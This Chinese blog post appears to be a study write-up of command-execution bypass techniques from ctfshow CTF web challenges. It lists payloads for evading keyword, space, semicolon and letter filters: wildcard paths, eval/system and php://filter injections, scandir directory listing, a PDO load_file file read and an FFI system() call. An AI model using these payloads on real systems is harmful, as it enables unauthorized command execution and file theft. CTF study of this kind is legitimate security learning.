在刷完ctfshow web入门的命令执行后,我准备用这篇博客回顾下命令执行的知识点,也为了以后遇到相似的知识点时方便查阅。(目录的名字都是自己想的)
文章目录
过滤关键字
1.关键字替换
当cat
命令被过滤时,可以用以下命令代替:
tac|more|less|curl|nl|tail|sort|strings|head|paste|od -a
strings:显示文件中的可打印内容,一般用来查看非文本内容
sort:可针对文本文件的内容,以行为单位来排序。
curl:会发送 GET 请求来获取链接内容到标准输出
head:只显示前几行内容,如果文本较长,需要加上参数 -n
paste:会把每个文件以列对列的方式,一列列地加以合并。
2.引号绕过
关键字被过滤时,可以在单词中插入单引号、双引号、反引号、反斜杠来绕过:
c'at'|c"at"|c``at|c\at
3.内联执行
cat `ls`
输出当前目录下所有文件的内容
4.通配符绕过
*和?是Linux中的两种通配符,可以用他们代替关键字
cat * //输出当前目录下所有文件内容
/bin/c?t fl?g.php
cat命令是在/bin目录下的,因为通配符不会去环境变量中匹配,所以必须手动指定出cat的路径,否则只会在当前目录寻找能通配的文件。
5.拼接绕过
若题中过滤了flag,可以采用如下方式:
1;a=fl;b=ag.php;cat $a$b
理论上是这样,但是我在ctfshow上没试成功,希望有大佬能教一教我
过滤所有字母
用巧劲,/bin目录下不止cat一个命令,还有很多,可以利用有数字的配合通配符来输出内容,例如base64,还有/usr/bin下,例如bzip2
/???/????64 ????.??? # /bin/base64 flag.php
/???/???/????2 ????.??? # /usr/bin/bzip2 flag.php 访问url/flag.php.bz2就能下载
过滤空格
<|<>|%20|%09|${IFS}9|${IFS}|
%09
是一个字符,属于编码,在带入服务器时会进行解码,里面不包含数字。
过滤分号
可以用||或者%0a代替,%0a与上面%09同理
ls||
ls%0a
迂回绕过
这种方法的巧妙之处在于,题中过滤的关键字只对前一句话有效,对后面一句无效。这种方法也可用于限制了命令长度的情况。
1.eval
eval($_GET[1]);&1=system("cat flag.php");
2.include
include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
若题目中过滤了[] 、; 、(),可以用下面这种姿势:
include$_GET{1}?>
函数绕过
首先,先看这几个函数的定义:
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排列
next():函数将内部指针指向下一元素,并输出
查看目录的文件:
print_r(scandir(pos(localeconv()))) //当前目录
print_r(scandir('/')) //查看根目录文件
输出目录中倒数第二个文件内容:
print_r(next(array_reverse(scandir(pos(localeconv())))))
array_reverse()和next()自己看着用
输出目录函数绕过
如果题目过滤了print_r(),可以使用以下函数代替输出目录:
var_dump()
var_export()
输出内容函数绕过
highlight_file()
include()
show_source()
遍历绕过
当过滤了scandir()函数,我们无法知道当前目录下的文件时,可以用php的遍历来得知:
?><?php
$a=new DirectoryIterator("glob:// /*"); //遍历根目录下所有文件
foreach($a as $f)
{
echo ($f -> __toString().' ');
}
数据库语句绕过
当所有的输出函数都被ban时,只能用数据库语句来输出文件内容
try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}
FFI绕过
FFI只有php7.4以上的版本才有,换句话说,只适用于php7.4版本往上。
先看一下FFI的定义:
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag
$ffi=FFI :: cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
Linux运算符绕过
奇奇怪怪的符号:$(( ))
,配合取反规则:
如果b=~a,那么a+b=-1
适用于flag名为数字,但题中过滤了数字的情况
默认情况下$(())
的值为0,那么对其取反,也就是$(( ~$(()) ))
的值为-1,这种运算符相加的规则就是放在一起,即
$(( $((~$(()))) $((~$(()))) )) //两个-1相加,值为-2
所以想要得到一个数,例如5,只需要将6个$((~$(())))
放在一起,得到-6,然后对-6取反即可。
Linux内置变量绕过
直接看博客的web119-122
进制转换绕过
看博客的web124,不单独总结了。
总结到这里就结束了,应该还是算比较全面的。如果有错误或者不足之处,欢迎师傅们指出。